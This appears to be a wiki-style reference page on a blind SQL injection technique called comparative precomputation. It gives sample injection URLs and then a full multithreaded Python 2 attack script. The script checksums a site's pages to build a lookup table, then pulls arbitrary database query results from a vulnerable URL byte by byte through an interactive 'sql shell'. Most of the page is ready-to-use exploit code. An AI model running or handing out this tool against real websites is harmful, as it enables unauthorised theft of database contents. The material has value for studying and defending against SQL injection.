SQL injection/Blind/Extraction/Precomputation

The comparative precomputation attack

This attack relies heavily on the remote dataset for successful exploitation and is thus its rate of data retrieval is more variable than other methods.

Requirements: In order for it to be effectively faster than boolean enumeration, the contents of the query result context (column and table) must contain 3 or more instances of unique column and row data Before comparative precomputation can be initiated, an attacker or penetration tester must be aware of the vulnerable query's context.

Precomputation is done for performance reasons. At the very least, a comparative test will be required. The more complex a remote site is (random content generation, etc), the more difficult this type of attack becomes to automate.

Examining the following query: $query = "select * from articles where id=$input"; And the following uri: /articles.php?id=1 Testing can be used to see if there are 255 articles by visiting: /articles.php?id=255 Follow the next steps for automation (and sanity's) sake: Choose a language supporting something similar to array_flip() for programming the automation tool. Write a loop to download each article In the loop, populate an array (using integer indexes) with checksum hashes as values Flip the array Almost done! Then the following visit can take place: /articles.php?id=ascii(substr(user(),1,1)) Checksum the output Now accessing the checksums array using the checksum of the output as the key: $ascii_code = $checksums[$output_checksum]; And the value of a byte has been determined. Protip: This attack can be extended by: Using arithmetic operators to get sequential id's offset from 0-255 (e.g. /articles.php?id=(select ascii(substr(user(),1,1))+67) Using MySQL field operators and a static query that returns id's to bypass the requirement for the id's to be sequential

#!/usr/bin/python2 import sys import urllib2 import time from binascii import hexlify import _mysql import md5 import pickle import re import os import threading import Queue import readline readline.parse_and_bind('tab: complete') readline.parse_and_bind('set editing-mode vi')   BOLD = '\033[1m' BLUE = '\033[34m' GREEN = '\033[32m' YELLOW = '\033[33m' RED = '\033[91m' ENDC = '\033[0m'   def request(request_url): req = urllib2.Request(request_url) req.add_header = ('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17') r = urllib2.urlopen(req) return r.read()   def construct_discovery_query(url, column, table, counter): discovery = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=%s)" discovery = discovery % (column, column, table, counter) return url + urllib2.quote(discovery)   def construct_injection_query(url, column, table, query, position): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=ascii(substring(compress((%s)) from %s for 1)))" injection = injection % (column, column, table, query, position) return url + urllib2.quote(injection)   def get_length(url, column, table, query, ascii_table, counter): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=(length(length(compress((%s))))))" % (column, column, table, query) length_length = url + urllib2.quote(injection) length_length = ascii_table[md5.new(request(length_length)).digest()] counter += 1   length = "" for i in range(1,length_length+1): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=ascii(substring(length(compress((%s))) from %s for 1)))" injection = injection % (column, column, table, query, i) request_url = url + urllib2.quote(injection) length += chr(ascii_table[md5.new(request(request_url)).digest()]) counter += 1   return (int(length), counter)   def get_query(prompt): while 1: query = raw_input(prompt) if query != "": break return query   def do_query(url, column, table, query, ascii_table, i, q): tmp = construct_injection_query(url, column, table, query, i) q.put(chr(ascii_table[md5.new(request(tmp)).digest()]))   def do_table(url, column, table, i, q): tmp = construct_discovery_query(url, column, table, i) q.put(md5.new(request(tmp)).digest())   def print_percent(percent, start_time): elapsed_time = time.time() - start_time eta = ((elapsed_time) / percent) * 100 - elapsed_time sys.stdout.write("\r%s[*]%s Percent complete: %s%.2f%%%s -- Time elapsed: %s%.2f%s seconds -- Estimated time left: %s%.2f%s" % (GREEN, ENDC, YELLOW, percent, ENDC, YELLOW, elapsed_time, ENDC, YELLOW, eta, ENDC)) sys.stdout.flush()   def do_thread(target, args, counter, length, type_query): if type_query == 0: ascii_table = {} else: query_result = ""   if type_query == 0: i = 0 else: i = 1     sys.stdout.write("\r%s[*]%s Percent complete: %.2f%%" % (GREEN, ENDC, 0.0)) sys.stdout.flush() start_time = time.time()   while i < length: threads = {} queues = []   for j in range(0,11): if i < length: queues.append(Queue.Queue()) threads[i] = threading.Thread(target=target, args=args + (i, queues[j])) i += 1 counter += 1 print_percent(100 * float(i) / float(length), start_time)   for thread in threads: threads[thread].start()   for j, thread in enumerate(sorted(threads.iterkeys())): if type_query == 0: ascii_table[queues[j].get()] = thread else: query_result += queues[j].get() threads[thread].join()   sys.stdout.write('\n') sys.stdout.flush()   if type_query == 0: return ascii_table else: return (counter, query_result)   def main(url, column, table): session_name = re.split("(https?://)?(.*)/", url)[2]   print "%s[*]%s Checking for existing session" % (GREEN, ENDC) try: try: os.stat("data") except: os.mkdir("data") ascii_table = pickle.load(open("data/%s" % session_name, "rb" )) print "%s[*]%s Loaded precomputation table." % (GREEN, ENDC) except: print "%s[*]%s Building precomputation table.." % (GREEN, ENDC) current = time.time() ascii_table = do_thread(do_table, (url, column, table, ), 0, 256, 0) pickle.dump(ascii_table, open("data/%s" % session_name, "wb")) print "\n%s[*]%s Precomputation table built in %s%f%s seconds." % (GREEN, ENDC, YELLOW, time.time() - current, ENDC)   print "%s[*]%s Enter a sql query:" % (GREEN, ENDC)   while 1: query = get_query("%ssql shell>%s " % (BOLD, ENDC)) if query == "exit": break   query_result = "" counter = 0 current = time.time() (length, counter) = get_length(url, column, table, query, ascii_table, counter)   (counter, query_result) = do_thread(do_query, (url, column, table, query, ascii_table, ), counter, length+1, 1)   query = "SELECT UNCOMPRESS(0x%s)" % hexlify(query_result) mysql_connection = _mysql.connect('localhost', 'root', 'new-password') mysql_connection.query(query) result = mysql_connection.use_result() data = result.fetch_row()[0][0] mysql_connection.close()   print data print "\nRequests: %s%d%s (%s%f%s seconds)\nLength of retrieved data: %s%s%d%s%s" % (YELLOW, counter, ENDC, YELLOW, time.time() - current, ENDC, BOLD, YELLOW, len(data), ENDC, ENDC)   print "%s[*]%s Good bye" % (GREEN, ENDC)   if __name__=="__main__": if len(sys.argv) != 4: print "Usage: %s <vulnerable url> <column name> <table name>" % sys.argv[0] exit()   print "%s[*]%s Attacking: %s%s%s%s%s" % (GREEN, ENDC, BOLD, RED, sys.argv[1], ENDC, ENDC) main(sys.argv[1], sys.argv[2], sys.argv[3])